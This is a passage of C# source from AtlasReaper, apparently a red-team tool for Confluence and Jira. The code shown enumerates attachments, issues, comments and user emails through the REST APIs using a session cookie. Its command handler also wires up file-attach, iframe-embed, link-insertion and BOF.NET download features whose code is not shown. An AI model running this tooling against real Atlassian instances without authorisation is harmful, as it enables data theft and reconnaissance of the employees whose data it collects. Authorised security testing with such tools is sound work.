System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using Newtonsoft.Json; 6 | using AtlasReaper.Options; 7 | 8 | namespace AtlasReaper.Confluence 9 | { 10 | class Attachments 11 | { 12 | 13 | // List attachmetns based on provided options 14 | internal void ListAttachments(ConfluenceOptions.ListAttachmentsOptions options) 15 | { 16 | try 17 | { 18 | List attachmentsList = new List(); 19 | 20 | if (options.Space != null) 21 | { 22 | if (int.TryParse(options.Space, out int result)) 23 | { 24 | ConfluenceOptions.ListSpacesOptions spacesOptions = new ConfluenceOptions.ListSpacesOptions 25 | { 26 | Url = options.Url, 27 | Cookie = options.Cookie, 28 | Space = options.Space, 29 | }; 30 | 31 | Space space = Spaces.GetSpace(spacesOptions); 32 | 33 | options.Space = space.Key; 34 | } 35 | 36 | //Constructing URL for searching attachments in a given Space 37 | string url = options.Url + "/wiki/rest/api/search?cql=type=attachment+AND+Space+=+%20" + options.Space + "%20&expand=content.extensions"; 38 | 39 | if (options.All) 40 | { 41 | url = url + "&limit=200"; 42 | 43 | // Get all attachments 44 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url); 45 | attachmentsList.AddRange(rootAttachmentsObject.Results); 46 | 47 | while (attachmentsList.Count < rootAttachmentsObject.TotalSize) 48 | { 49 | string nextUrl = rootAttachmentsObject._Links.Base + rootAttachmentsObject._Links.Next; 50 | rootAttachmentsObject = GetAttachments(options, nextUrl); 51 | attachmentsList.AddRange(rootAttachmentsObject.Results); 52 | } 53 | 54 | attachmentsList = FilterAttachments(attachmentsList, options); 55 | } 56 | else 57 | { 58 | // Get attachments with a specified limit 59 | url = url + "&limit=" + options.Limit; 60 | 61 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url); 62 | attachmentsList = rootAttachmentsObject.Results; 63 | 64 | attachmentsList = FilterAttachments(attachmentsList, options); 65 | } 66 | 67 | 68 | } 69 | 70 | else 71 | { 72 | // Construct URL for searching all attachments 73 | string url = options.Url + "/wiki/rest/api/search?cql=type=attachment&expand=content.extensions"; 74 | 75 | if (options.All) 76 | { 77 | // Get all attachments 78 | attachmentsList = GetAllAttachments(options, url); 79 | attachmentsList = FilterAttachments(attachmentsList, options); 80 | } 81 | else 82 | { 83 | // Get attachments with specified limit 84 | url = url + "&limit=" + options.Limit; 85 | 86 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url); 87 | 88 | attachmentsList = rootAttachmentsObject.Results; 89 | attachmentsList = FilterAttachments(attachmentsList, options); 90 | } 91 | } 92 | 93 | if (options.outfile != null) 94 | { 95 | using (StreamWriter writer = new StreamWriter(options.outfile)) 96 | { 97 | PrintAttachments(attachmentsList, writer); 98 | } 99 | } 100 | else 101 | { 102 | PrintAttachments(attachmentsList, Console.Out); 103 | } 104 | } 105 | catch (Exception ex) 106 | { 107 | Console.WriteLine("An error occured while listing attachments: " + ex.Message); 108 | } 109 | } 110 | 111 | // Filter attachments based on include or exclude options 112 | private List FilterAttachments(List attachmentsList, ConfluenceOptions.ListAttachmentsOptions options) 113 | { 114 | try 115 | { 116 | // Exclude 117 | if (options.Exclude != null) 118 | { 119 | List excludeList = options.Exclude.Split(',').ToList(); 120 | 121 | foreach (string exclude in excludeList) 122 | { 123 | attachmentsList.RemoveAll(item => 124 | { 125 | List extension = item.AttachmentContent.Title.Split('.').ToList(); 126 | if (extension.LastOrDefault() == exclude) 127 | { 128 | return true; 129 | } 130 | else 131 | { 132 | return false; 133 | } 134 | }); 135 | } 136 | } 137 | 138 | // Include 139 | if (options.Include != null) 140 | { 141 | List includeList = options.Include.Split(',').ToList(); 142 | attachmentsList = attachmentsList.Where(item => 143 | { 144 | string extension = item.AttachmentContent.Title.Split('.').LastOrDefault(); 145 | return includeList.Contains(extension); 146 | }).ToList(); 147 | } 148 | 149 | return attachmentsList; 150 | } 151 | catch (Exception ex) 152 | { 153 | Console.WriteLine("An error occurred while filtering attachments: " + ex.Message); 154 | return attachmentsList; 155 | } 156 | } 157 | 158 | // Get all attachments 159 | private List GetAllAttachments(ConfluenceOptions.ListAttachmentsOptions options, string url) 160 | { 161 | List attachmentsList = new List(); 162 | try 163 | { 164 | url = url + "&limit=200"; 165 | 166 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url); 167 | attachmentsList.AddRange(rootAttachmentsObject.Results); 168 | 169 | while (attachmentsList.Count < rootAttachmentsObject.TotalSize) 170 | { 171 | string nextUrl = rootAttachmentsObject._Links.Base + rootAttachmentsObject._Links.Next; 172 | rootAttachmentsObject = GetAttachments(options, nextUrl); 173 | attachmentsList.AddRange(rootAttachmentsObject.Results); 174 | } 175 | 176 | return attachmentsList; 177 | 178 | } 179 | catch (Exception ex) 180 | { 181 | Console.WriteLine("An error occurred while getting all attachments: " + ex.Message); 182 | return attachmentsList; 183 | } 184 | 185 | } 186 | 187 | // Print attachments to the console 188 | private void PrintAttachments(List attachments, TextWriter writer) 189 | { 190 | try 191 | { 192 | writer.WriteLine("Attachments Count: " + attachments.Count); 193 | for (int i = 0; i < attachments.Count; i++) 194 | { 195 | Attachment attachment = attachments[i]; 196 | writer.WriteLine(" Attachment Title: " + attachment.AttachmentContent.Title); 197 | writer.WriteLine(" Attachment Id: " + attachment.AttachmentContent.Id); 198 | writer.WriteLine(" Attachment Type: " + attachment.AttachmentContent.Extensions.mediaType); 199 | writer.WriteLine(" Attachment Type Description: " + attachment.AttachmentContent.Extensions.MediaTypeDescription); 200 | writer.WriteLine(" Attachment Size: " + FormatFileSize(attachment.AttachmentContent.Extensions.FileSize)); 201 | writer.WriteLine(" Download Link: " + attachment.AttachmentContent._ContentLinks.Download); 202 | writer.WriteLine(); 203 | } 204 | } 205 | catch (Exception ex) 206 | { 207 | Console.WriteLine("An error occurred while printing attachmetns: " + ex.Message); 208 | } 209 | } 210 | 211 | // Get Attachments using the REST API 212 | internal static RootAttachmentsObject GetAttachments(ConfluenceOptions.ListAttachmentsOptions options, string url) 213 | { 214 | RootAttachmentsObject attachments = new RootAttachmentsObject(); 215 | try 216 | { 217 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 218 | 219 | attachments = webRequestHandler.GetJson(url, options.Cookie); 220 | return attachments; 221 | } 222 | catch (Exception ex) 223 | { 224 | Console.WriteLine("An error occured while Getting attachments: " + ex.Message); 225 | return attachments; 226 | } 227 | 228 | 229 | } 230 | 231 | // Format file size to human-readable format 232 | private static string FormatFileSize(int fileSize) 233 | { 234 | try 235 | { 236 | string[] sizes = { "b", "Kb", "Mb", "Gb", "Tb" }; 237 | int i = 0; 238 | long numFileSize = fileSize; 239 | 240 | while (numFileSize >= 1024 && i < sizes.Length - 1) 241 | { 242 | numFileSize /= 1024; 243 | i++; 244 | } 245 | 246 | string sFileSize = numFileSize.ToString() + " " + sizes[i]; 247 | return sFileSize; 248 | } 249 | catch (Exception ex) 250 | { 251 | Console.WriteLine("An error occured while formatting file size: " + ex.Message); 252 | return string.Empty; 253 | } 254 | 255 | } 256 | } 257 | 258 | 259 | // Definition of attachment object 260 | internal class RootAttachmentsObject 261 | { 262 | [JsonProperty("results")] 263 | internal List Results { get; set; } 264 | 265 | [JsonProperty("totalSize")] 266 | internal int TotalSize { get; set; } 267 | 268 | [JsonProperty("_links")] 269 | internal _Links _Links { get; set; } 270 | } 271 | 272 | internal class Attachment 273 | { 274 | [JsonProperty("content")] 275 | internal AttachmentContent AttachmentContent { get; set; } 276 | 277 | [JsonProperty("excerpt")] 278 | internal string Excerpt { get; set; } 279 | 280 | [JsonProperty("lastModified")] 281 | internal string LastModified { get; set; } 282 | 283 | [JsonProperty("friendlyLastModified")] 284 | internal string FriendlyLastModified { get; set; } 285 | } 286 | 287 | internal class AttachmentContent 288 | { 289 | [JsonProperty("id")] 290 | internal string Id { get; set; } 291 | 292 | [JsonProperty("title")] 293 | internal string Title { get; set; } 294 | 295 | [JsonProperty("extensions")] 296 | internal Extensions Extensions { get; set; } 297 | 298 | [JsonProperty("_links")] 299 | internal _ContentLinks _ContentLinks { get; set; } 300 | 301 | } 302 | 303 | internal class Extensions 304 | { 305 | [JsonProperty("mediaType")] 306 | internal string mediaType { get; set; } 307 | 308 | [JsonProperty("fileSize")] 309 | internal int FileSize { get; set; } 310 | 311 | [JsonProperty("mediaTypeDescription")] 312 | internal string MediaTypeDescription { get; set; } 313 | 314 | 315 | } 316 | 317 | internal class _ContentLinks 318 | { 319 | [JsonProperty("download")] 320 | internal string Download { get; set; } 321 | } 322 | } 323 | 324 | -------------------------------------------------------------------------------- /AtlasReaper/Jira/Issues.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using AtlasReaper.Options; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.IO; 6 | using System.Text.RegularExpressions; 7 | 8 | namespace AtlasReaper.Jira 9 | { 10 | class Issues 11 | { 12 | internal void ListIssues(JiraOptions.ListIssuesOptions options) 13 | { 14 | try 15 | { 16 | // Building the url 17 | string restUrl = "/rest/api/3/search?jql="; 18 | string url = options.Url + restUrl; 19 | if (options.Project != null) 20 | { 21 | url = url + "Project=" + options.Project + "&"; 22 | } 23 | if (options.Issue != null) 24 | { 25 | url = url + "Issue=" + options.Issue + "&"; 26 | } 27 | url = url + "&expand=renderedFields&fields=description,summary,created,updated,status,creator,assignee"; 28 | 29 | if (options.Comments) 30 | { 31 | url = url + ",comment"; 32 | } 33 | if (options.Attachments) 34 | { 35 | url = url + ",attachment"; 36 | } 37 | 38 | // Return all Issues 39 | if (options.All) 40 | { 41 | url = url + "&maxResults=" + "100"; 42 | int startAt = 0; 43 | List issues = new List(); 44 | RootIssuesObject issuesList = GetIssues(url, options.Cookie); 45 | 46 | /* if (options.Limit != issuesList.Total.ToString()) 47 | { 48 | int numRequests = issuesList.Total / 100 + 1; 49 | Console.WriteLine("This will generate " + numRequests.ToString() + " web requests, potentially resulting in a large quantity of data returned."); 50 | Console.WriteLine("If you want to continue, please use the -l/--limit flag with the total number of issues: " + issuesList.Total.ToString()); 51 | return; 52 | }*/ 53 | 54 | issues.AddRange(issuesList.Issues); 55 | 56 | 57 | while (issues.Count < issuesList.Total) 58 | { 59 | startAt += 100; 60 | string nextUrl = url + "&startAt=" + startAt.ToString(); 61 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options.Cookie); 62 | issues.AddRange(issuesListNext.Issues); 63 | } 64 | 65 | if (options.outfile != null) 66 | { 67 | using (StreamWriter writer = new StreamWriter(options.outfile)) 68 | { 69 | PrintIssues(issues, writer); 70 | } 71 | } 72 | else 73 | { 74 | PrintIssues(issues, Console.Out); 75 | } 76 | 77 | 78 | } 79 | // Return issues by limit 80 | else 81 | { 82 | url = url + "&maxResults=" + options.Limit; 83 | 84 | RootIssuesObject issuesList = GetIssues(url, options.Cookie); 85 | 86 | if (options.outfile != null) 87 | { 88 | using (StreamWriter writer = new StreamWriter(options.outfile)) 89 | { 90 | PrintIssues(issuesList.Issues, writer); 91 | } 92 | } 93 | else 94 | { 95 | PrintIssues(issuesList.Issues, Console.Out); 96 | } 97 | } 98 | } 99 | catch (Exception ex) 100 | { 101 | Console.WriteLine("An error occurred while listing Jira issues: " + ex.Message); 102 | } 103 | 104 | } 105 | 106 | internal RootIssuesObject GetIssues(string url, string cookie) 107 | { 108 | try 109 | { 110 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler(); 111 | 112 | RootIssuesObject issuesList = webRequestHandler.GetJson(url, cookie); 113 | 114 | return issuesList; 115 | } 116 | catch (Exception ex) 117 | { 118 | Console.WriteLine("Error occurred while getting issues: " + ex.Message); 119 | return null; 120 | } 121 | } 122 | 123 | internal void PrintIssues(List issues, TextWriter writer) 124 | { 125 | try 126 | { 127 | for (int i = 0; i < issues.Count; i++) 128 | { 129 | Issue issue = issues[i]; 130 | List comments = issue.RenderedFields.RenderedCommentObj?.Comments; 131 | List attachments = issue.RenderedFields?.Attachments; 132 | 133 | writer.WriteLine(" Issue Title : " + issue.Fields.Title); 134 | writer.WriteLine(" Issue Key : " + issue.Key); 135 | writer.WriteLine(" Issue Id : " + issue.Id); 136 | writer.WriteLine(" Created : " + issue.RenderedFields.Created); 137 | writer.WriteLine(" Updated : " + issue.RenderedFields.Updated); 138 | writer.WriteLine(" Status : " + issue.Fields.Status?.Name); 139 | writer.WriteLine(" Creator : " + issue.Fields.Creator?.EmailAddress + " - " + issue.Fields.Creator?.DisplayName + " - " + issue.Fields.Creator?.TimeZone); 140 | writer.WriteLine(" Assignee : " + issue.Fields.Assignee?.EmailAddress + " - " + issue.Fields.Assignee?.DisplayName + " - " + issue.Fields.Assignee?.TimeZone); 141 | writer.WriteLine(" Issue Contents : " + Regex.Replace(issue.RenderedFields.Description, @"<(?!\/?a(?=>|\s.*>))\/?.*?>", "").Trim('\r', '\n')); 142 | writer.WriteLine(); 143 | if (attachments?.Count > 0) 144 | { 145 | writer.WriteLine(" Attachments : "); 146 | writer.WriteLine(); 147 | for (int j = 0; j < attachments.Count; j++) 148 | { 149 | Attachment attachment = attachments[j]; 150 | writer.WriteLine(" Filename : " + attachment.FileName); 151 | writer.WriteLine(" Attachment Id : " + attachment.Id); 152 | writer.WriteLine(" Mimetype : " + attachment.mimeType); 153 | writer.WriteLine(" File size : " + attachment.Size); 154 | writer.WriteLine(); 155 | } 156 | } 157 | if (comments?.Count > 0) 158 | { 159 | writer.WriteLine(); 160 | writer.WriteLine(" Comments : "); 161 | writer.WriteLine(); 162 | for (int j = 0; j < comments.Count; j++) 163 | { 164 | writer.WriteLine(" - " + comments[j].Author.EmailAddress + " - " + comments[j].Author.DisplayName + " - " + comments[j].Created); 165 | List contentList = comments[j]?.Body.ContentList; 166 | for (int k = 0; k < contentList.Count; k++) 167 | { 168 | 169 | List commentContents = contentList[k]?.CommentContents; 170 | if (commentContents != null) 171 | { 172 | for (int l = 0; l < commentContents.Count; l++) 173 | { 174 | writer.WriteLine(" " + commentContents[l].Text?.Trim('\r', '\n')); 175 | 176 | } 177 | } 178 | } 179 | writer.WriteLine(); 180 | } 181 | 182 | } 183 | writer.WriteLine(); 184 | } 185 | } 186 | catch (Exception ex) 187 | { 188 | Console.WriteLine("Error occurred while printing issues: " + ex.Message); 189 | } 190 | 191 | } 192 | } 193 | 194 | internal class RootIssuesObject 195 | { 196 | [JsonProperty("startAt")] 197 | internal int StartAt { get; set; } 198 | 199 | [JsonProperty("total")] 200 | internal int Total { get; set; } 201 | 202 | [JsonProperty("issues")] 203 | internal List Issues { get; set; } 204 | } 205 | 206 | internal class Issue 207 | { 208 | [JsonProperty("id")] 209 | internal string Id { get; set; } 210 | 211 | [JsonProperty("key")] 212 | internal string Key { get; set; } 213 | 214 | [JsonProperty("renderedFields")] 215 | internal RenderedFields RenderedFields { get; set; } 216 | 217 | [JsonProperty("fields")] 218 | internal Fields Fields { get; set; } 219 | } 220 | 221 | internal class RenderedFields 222 | { 223 | [JsonProperty("created")] 224 | internal string Created { get; set; } 225 | 226 | [JsonProperty("updated")] 227 | internal string Updated { get; set; } 228 | 229 | [JsonProperty("description")] 230 | internal string Description { get; set; } 231 | 232 | [JsonProperty("comment")] 233 | internal RenderedCommentObj RenderedCommentObj { get; set; } 234 | 235 | [JsonProperty("attachment")] 236 | internal List Attachments { get; set; } 237 | 238 | } 239 | 240 | internal class Fields 241 | { 242 | [JsonProperty("assignee")] 243 | internal Author Assignee { get; set; } 244 | 245 | [JsonProperty("creator")] 246 | internal Author Creator { get; set; } 247 | 248 | [JsonProperty("status")] 249 | internal Status Status { get; set; } 250 | 251 | [JsonProperty("summary")] 252 | internal string Title { get; set; } 253 | 254 | [JsonProperty("attachment")] 255 | internal List Attachments { get; set; } 256 | 257 | 258 | } 259 | 260 | internal class Author 261 | { 262 | [JsonProperty("emailAddress")] 263 | internal string EmailAddress { get; set; } 264 | 265 | [JsonProperty("displayName")] 266 | internal string DisplayName { get; set; } 267 | 268 | [JsonProperty("timeZone")] 269 | internal string TimeZone { get; set; } 270 | 271 | } 272 | 273 | internal class RenderedCommentObj 274 | { 275 | [JsonProperty("comments")] 276 | internal List Comments { get; set; } 277 | } 278 | 279 | internal class Comment 280 | { 281 | [JsonProperty("author")] 282 | internal Author Author { get; set; } 283 | 284 | [JsonProperty("body")] 285 | internal Body Body { get; set; } 286 | 287 | [JsonProperty("created")] 288 | internal string Created { get; set; } 289 | 290 | } 291 | 292 | internal class Body 293 | { 294 | [JsonProperty("content")] 295 | internal List ContentList { get; set; } 296 | 297 | [JsonProperty("type")] 298 | internal string Type { get; set; } 299 | 300 | [JsonProperty("version")] 301 | internal int Version { get; set; } 302 | } 303 | 304 | internal class Content 305 | { 306 | [JsonProperty("content")] 307 | internal List CommentContents { get; set; } 308 | 309 | [JsonProperty("type")] 310 | internal string Type { get; set; } 311 | 312 | [JsonProperty("attrs")] 313 | internal Attrs Attrs { get; set; } 314 | } 315 | 316 | internal class CommentContent 317 | { 318 | [JsonProperty("text")] 319 | internal string Text { get; set; } 320 | 321 | [JsonProperty("type")] 322 | internal string Type { get; set; } 323 | 324 | [JsonProperty("attrs")] 325 | internal Attrs Attrs { get; set; } 326 | 327 | [JsonProperty("marks")] 328 | internal List Marks { get; set; } 329 | } 330 | 331 | internal class Mark 332 | { 333 | [JsonProperty("type")] 334 | internal string Type { get; set; } 335 | 336 | [JsonProperty("attrs")] 337 | internal Attrs Attrs { get; set; } 338 | } 339 | 340 | internal class Attrs 341 | { 342 | [JsonProperty("id")] 343 | internal string Id { get; set; } 344 | 345 | [JsonProperty("text")] 346 | internal string Text { get; set; } 347 | 348 | [JsonProperty("accessLevel")] 349 | internal string AccessLevel { get; set; } 350 | 351 | [JsonProperty("href")] 352 | internal string Href { get; set; } 353 | 354 | [JsonProperty("url")] 355 | internal string Url { get; set; } 356 | } 357 | 358 | internal class Attachment 359 | { 360 | [JsonProperty("filename")] 361 | internal string FileName { get; set; } 362 | 363 | [JsonProperty("id")] 364 | internal string Id { get; set; } 365 | 366 | [JsonProperty("author")] 367 | internal Author Author { get; set; } 368 | 369 | [JsonProperty("created")] 370 | internal string Created { get; set; } 371 | 372 | [JsonProperty("size")] 373 | internal string Size { get; set; } 374 | 375 | [JsonProperty("mimeType")] 376 | internal string mimeType { get; set; } 377 | 378 | [JsonProperty("content")] 379 | internal string Content { get; set; } 380 | } 381 | 382 | internal class Status 383 | { 384 | [JsonProperty("name")] 385 | internal string Name { get; set; } 386 | } 387 | 388 | } 389 | -------------------------------------------------------------------------------- /AtlasReaper/ArgHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using CommandLine; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using CommandLine.Text; 6 | using AtlasReaper.Options; 7 | using AtlasReaper.Confluence; 8 | using AtlasReaper.Jira; 9 | 10 | 11 | namespace AtlasReaper 12 | { 13 | internal class ArgHandler 14 | { 15 | internal void HandleArgs(string[] args) 16 | { 17 | 18 | if (args.Length == 0) 19 | { 20 | // If no arguments provided, print help and return 21 | PrintHelp(); 22 | return; 23 | } 24 | 25 | // Manual parse of first verb 26 | switch (args[0]) 27 | { 28 | case "confluence": 29 | Console.WriteLine(logo); 30 | ParseConfluence(args); 31 | break; 32 | case "jira": 33 | Console.WriteLine(logo); 34 | ParseJira(args); 35 | break; 36 | default: 37 | Console.WriteLine($"Unrecognized command: {args[0]}"); 38 | PrintHelp(); 39 | break; 40 | } 41 | 42 | } 43 | 44 | // Parse arguments for Confluence commands 45 | internal void ParseConfluence(string[] args) 46 | { 47 | Parser parser = new Parser(); 48 | Parser.Default.ParseArguments< 49 | ConfluenceOptions.AttachOptions, 50 | ConfluenceOptions.DownloadOptions, 51 | ConfluenceOptions.EmbedOptions, 52 | ConfluenceOptions.LinkOptions, 53 | ConfluenceOptions.ListAttachmentsOptions, 54 | ConfluenceOptions.ListPagesOptions, 55 | ConfluenceOptions.ListSpacesOptions, 56 | ConfluenceOptions.SearchOptions, 57 | ConfluenceOptions.DownloadBOFNETOptions 58 | >(args.Skip(1)) 59 | .WithParsed(opts => 60 | { 61 | try 62 | { 63 | 64 | Auth.CheckAuth(opts.Url, opts.Cookie); 65 | Confluence.Attach attach = new Confluence.Attach(); 66 | attach.AttachFile(opts); 67 | } 68 | catch (Exception ex) 69 | { 70 | Console.WriteLine("Error: " + ex.Message); 71 | return; 72 | } 73 | 74 | }) 75 | .WithParsed(opts => 76 | { 77 | try 78 | { 79 | 80 | Auth.CheckAuth(opts.Url, opts.Cookie); 81 | Confluence.Download download = new Confluence.Download(); 82 | download.DownloadAttachments(opts); 83 | } 84 | catch (Exception ex) 85 | { 86 | Console.WriteLine("Error: " + ex.Message); 87 | return; 88 | } 89 | 90 | }) 91 | .WithParsed(opts => 92 | { 93 | try 94 | { 95 | 96 | Auth.CheckAuth(opts.Url, opts.Cookie); 97 | Embed embed = new Embed(); 98 | embed.EmbedIframe(opts); 99 | } 100 | catch (Exception ex) 101 | { 102 | Console.WriteLine("Error: " + ex.Message); 103 | return; 104 | } 105 | 106 | }) 107 | .WithParsed(opts => 108 | { 109 | try 110 | { 111 | 112 | Auth.CheckAuth(opts.Url, opts.Cookie); 113 | Link link = new Link(); 114 | link.AddLink(opts); 115 | } 116 | catch (Exception ex) 117 | { 118 | Console.WriteLine("Error: " + ex.Message); 119 | return; 120 | } 121 | 122 | }) 123 | .WithParsed(opts => 124 | { 125 | try 126 | { 127 | 128 | Auth.CheckAuth(opts.Url, opts.Cookie); 129 | Spaces listSpaces = new Spaces(); 130 | listSpaces.ListSpaces(opts); 131 | } 132 | catch (Exception ex) 133 | { 134 | Console.WriteLine("Error: " + ex.Message); 135 | return; 136 | } 137 | 138 | }) 139 | .WithParsed(opts => 140 | { 141 | try 142 | { 143 | Auth.CheckAuth(opts.Url, opts.Cookie); 144 | Pages listPages = new Pages(); 145 | listPages.ListPages(opts); 146 | } 147 | catch (Exception ex) 148 | { 149 | Console.WriteLine("Error: " + ex.Message); 150 | return; 151 | } 152 | 153 | }) 154 | .WithParsed(opts => 155 | { 156 | try 157 | { 158 | Auth.CheckAuth(opts.Url, opts.Cookie); 159 | Confluence.Attachments attachments = new Confluence.Attachments(); 160 | attachments.ListAttachments(opts); 161 | } 162 | catch (Exception ex) 163 | { 164 | Console.WriteLine("Error: " + ex.Message); 165 | return; 166 | } 167 | }) 168 | .WithParsed(opts => 169 | { 170 | try 171 | { 172 | Auth.CheckAuth(opts.Url, opts.Cookie); 173 | Confluence.Search search = new Confluence.Search(); 174 | search.SearchConfluence(opts); 175 | } 176 | catch (Exception ex) 177 | { 178 | Console.WriteLine("Error: " + ex.Message); 179 | return; 180 | } 181 | }) 182 | .WithParsed(opts => 183 | { 184 | try 185 | { 186 | 187 | Auth.CheckAuth(opts.Url, opts.Cookie); 188 | Confluence.DownloadBOFNET download = new Confluence.DownloadBOFNET(); 189 | download.DownloadAttachmentsThroughBOFNET(opts); 190 | } 191 | catch (Exception ex) 192 | { 193 | Console.WriteLine("Error: " + ex.Message); 194 | return; 195 | } 196 | 197 | }) 198 | .WithNotParsed(HandleParseErrors); 199 | } 200 | 201 | // Parse arguments for Jira commands 202 | private void ParseJira(string[] args) 203 | { 204 | 205 | Parser.Default.ParseArguments< 206 | JiraOptions.AddCommentOptions, 207 | JiraOptions.AttachOptions, 208 | JiraOptions.CreateIssueOptions, 209 | JiraOptions.DownloadOptions, 210 | JiraOptions.ListAttachmentsOptions, 211 | JiraOptions.ListIssuesOptions, 212 | JiraOptions.ListProjectsOptions, 213 | JiraOptions.ListUsersOptions, 214 | JiraOptions.SearchIssuesOptions, 215 | JiraOptions.DownloadBOFNETOptions 216 | >(args.Skip(1)) 217 | .WithParsed(opts => 218 | { 219 | try 220 | { 221 | Auth.CheckAuth(opts.Url, opts.Cookie); 222 | Jira.AddComment addComment = new Jira.AddComment(); 223 | addComment.CommentAdd(opts); 224 | } 225 | catch (Exception ex) 226 | { 227 | Console.WriteLine("Error: " + ex.Message); 228 | return; 229 | } 230 | 231 | }) 232 | .WithParsed(opts => 233 | { 234 | try 235 | { 236 | Auth.CheckAuth(opts.Url, opts.Cookie); 237 | Jira.Attach attach = new Jira.Attach(); 238 | attach.AttachFile(opts); 239 | } 240 | catch (Exception ex) 241 | { 242 | Console.WriteLine("Error: " + ex.Message); 243 | return; 244 | } 245 | 246 | }) 247 | .WithParsed(opts => 248 | { 249 | try 250 | { 251 | Auth.CheckAuth(opts.Url, opts.Cookie); 252 | Jira.CreateIssue createIssue = new Jira.CreateIssue(); 253 | createIssue.CreateIssueM(opts); 254 | } 255 | catch (Exception ex) 256 | { 257 | Console.WriteLine("Error: " + ex.Message); 258 | return; 259 | } 260 | 261 | }) 262 | .WithParsed(opts => 263 | { 264 | try 265 | { 266 | Auth.CheckAuth(opts.Url, opts.Cookie); 267 | Jira.Download download = new Jira.Download(); 268 | download.DownloadAttachments(opts); 269 | } 270 | catch (Exception ex) 271 | { 272 | Console.WriteLine("Error: " + ex.Message); 273 | return; 274 | } 275 | 276 | }) 277 | .WithParsed(opts => 278 | { 279 | try 280 | { 281 | Auth.CheckAuth(opts.Url, opts.Cookie); 282 | Jira.Attachments attachments = new Jira.Attachments(); 283 | attachments.ListAttachments(opts); 284 | } 285 | catch (Exception ex) 286 | { 287 | Console.WriteLine("Error: " + ex.Message); 288 | return; 289 | } 290 | 291 | }) 292 | .WithParsed(opts => 293 | { 294 | try 295 | { 296 | Auth.CheckAuth(opts.Url, opts.Cookie); 297 | Jira.Search search = new Jira.Search(); 298 | search.SearchJira(opts); 299 | } 300 | catch (Exception ex) 301 | { 302 | Console.WriteLine("Error: " + ex.Message); 303 | return; 304 | } 305 | 306 | }) 307 | .WithParsed(opts => 308 | { 309 | try 310 | { 311 | Auth.CheckAuth(opts.Url, opts.Cookie); 312 | Users users = new Users(); 313 | users.ListUsers(opts); 314 | } 315 | catch (Exception ex) 316 | { 317 | Console.WriteLine("Error: " + ex.Message); 318 | return; 319 | } 320 | }) 321 | .WithParsed(opts => 322 | { 323 | try 324 | { 325 | Auth.CheckAuth(opts.Url, opts.Cookie); 326 | Issues issues = new Issues(); 327 | issues.ListIssues(opts); 328 | } 329 | catch (Exception ex) 330 | { 331 | Console.WriteLine("Error: " + ex.Message); 332 | return; 333 | } 334 | }) 335 | .WithParsed(opts => 336 | { 337 | try 338 | { 339 | Auth.CheckAuth(opts.Url, opts.Cookie); 340 | Projects projects = new Projects(); 341 | projects.ListProjects(opts); 342 | } 343 | catch (Exception ex) 344 | { 345 | Console.WriteLine("Error: " + ex.Message); 346 | return; 347 | } 348 | }) 349 | .WithParsed(opts => 350 | { 351 | try 352 | { 353 | Auth.CheckAuth(opts.Url, opts.Cookie); 354 | Jira.DownloadBOFNET download = new Jira.DownloadBOFNET(); 355 | download.DownloadAttachmentsThroughBOFNET(opts); 356 | } 357 | catch (Exception ex) 358 | { 359 | Console.WriteLine("Error: " + ex.Message); 360 | return; 361 | } 362 | 363 | }) 364 | // Handle errors during argument parsing 365 | .WithNotParsed(HandleParseErrors); 366 | 367 | } 368 | 369 | internal void HandleParseErrors(IEnumerable errs) 370 | { 371 | // Don't need to actually do anything, CommandLineParser already prints error. 372 | return; 373 | } 374 | 375 | // Print Help information 376 | internal void PrintHelp() 377 | { 378 | Console.WriteLine(logo); 379 | Console.WriteLine(); 380 | Console.WriteLine("Available commands:"); 381 | Console.WriteLine(); 382 | Console.WriteLine(" confluence - query confluence"); 383 | Console.WriteLine(" jira - query jira"); 384 | Console.WriteLine(); 385 | return; 386 | } 387 | 388 | public static string logo = @" 389 | .@@@@ 390 | @@@@@ 391 | @@@@@ @@@@@@@ 392 | @@@@@ @@@@@@@@@@@ 393 | @@@@@ @@@@@@@@@@@@@@@ 394 | @@@@, @@@@ *@@@@ 395 | @@@@ @@@ @@ @@@ .@@@ 396 | _ _ _ ___ @@@@@@@ @@@@@@ 397 | /_\| |_| |__ _ __| _ \___ __ _ _ __ ___ _ _ @@ @@@@@@@@ 398 | / _ \ _| / _` (_-< / -_) _` | '_ \/ -_) '_| @@ @@@@@@@@ 399 | /_/ \_\__|_\__,_/__/_|_\___\__,_| .__/\___|_| @@@@@@@@ &@ 400 | |_| @@@@@@@@@@ @@& 401 | @@@@@@@@@@@@@@@@@ 402 | @@@@@@@@@@@@@@@@. @@ 403 | @werdhaihai "; 404 | } 405 | } --------------------------------------------------------------------------------